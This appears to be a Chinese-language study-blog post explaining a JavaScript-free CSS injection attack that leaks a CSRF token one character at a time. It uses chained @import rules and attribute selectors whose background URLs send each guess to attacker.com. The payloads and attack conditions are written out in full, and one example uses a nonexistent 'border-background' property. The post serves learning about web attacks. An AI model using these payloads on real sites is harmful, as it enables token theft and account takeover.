CSS 相關的攻擊 (下篇之 2)

一次加載，持續偷資料：無 JS 的動態 Side-Channel！
今天我們要介紹一個超聰明的技巧：在不使用 JavaScript 的情況下，透過 CSS @import 達成動態資料洩漏。

核心概念：利用 @import 串接下一段 CSS 攻擊

@import 是 CSS 的一個指令，原本用途是匯入外部樣式檔，但在這裡，我們會把它變成一個持續「進化」的攻擊鏈條。

攻擊流程

1. 起始 CSS Payload

@import url(https://attacker.com/start?len=1);
@import url(https://attacker.com/start?len=2);
@import url(https://attacker.com/start?len=3);
@import url(https://attacker.com/start?len=4);

每次加載一段新的 CSS，就能讓攻擊者一步一步猜出敏感資訊（例如 CSRF token）。

2. 第一層 CSS（來自 start?len=1）
   伺服器先不馬上回應，而是等待瀏覽器送出背景圖片的請求（trigger）。當有 request 發出，就知道猜中第一個字元了。

伺服器這時才回應下一段 CSS，例如：

input[name="csrf"][value^="a"] {
  background: url(https://attacker.com/leak?q=a);
}
input[name="csrf"][value^="b"] {
  background: url(https://attacker.com/leak?q=b);
}
/* ...直到 z 為止 */

3. 成功猜中後 → 回傳下一段（len=2）
   若第一個字元是 a，伺服器就回傳這段：

input[name="csrf"][value^="aa"] {
  background: url(https://attacker.com/leak?q=aa);
}
input[name="csrf"][value^="ab"] {
  background: url(https://attacker.com/leak?q=ab);
}
/* ...直到 az 為止 */

這樣就能一步一步疊出整個 token，完全不需要 JavaScript，就能持續 side-channel 洩漏。

進階優化：一次偷兩個字元！

使用不同的 attribute（避免選擇器互相覆蓋），可以同時猜測字首與字尾來加速攻擊效率。

範例：

input[value^="0"] {
  background: url(http://attacker.com/leak?pre=0);
}

input[value$="1"] {
  border-background: url(http://attacker.com/leak?post=1);
}

這段會：

使用 ^= 偵測是否以 0 開頭

使用 $= 偵測是否以 1 結尾

各自送出對應的 background request

這種搭配可大幅減少總請求數，加快偷資料速度！

攻擊條件提醒

1. 可插入自定義 CSS，例如 style 標籤、或存 user profile 時插入
2. 外部資源可被載入，需無 CSP 限制，否則 background URL 會被擋
3. 被偷的欄位不可為 type="hidden"，否則不會渲染背景，導致判斷失效
4. 頁面允許多次載入 @import CSS，確保能無限鏈接下一段 payload

小結：@import 型動態洩漏的超能力

這次的介紹差不多到這啦~ 下次將繼續介紹其他的 css injection 的其他手法 XD

今日小心得

css injection 真的是博大精深，好多範例可以看! 希望我能繼續堅持下去，之後想嘗試寫寫攻擊 script~
接下來的日子...持續學習 + 重訓，真是充實 XD
自律 gogo!

Reference

• Hacktricks:
  https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

• css injection:
  https://blog.huli.tw/2022/09/29/css-injection-2/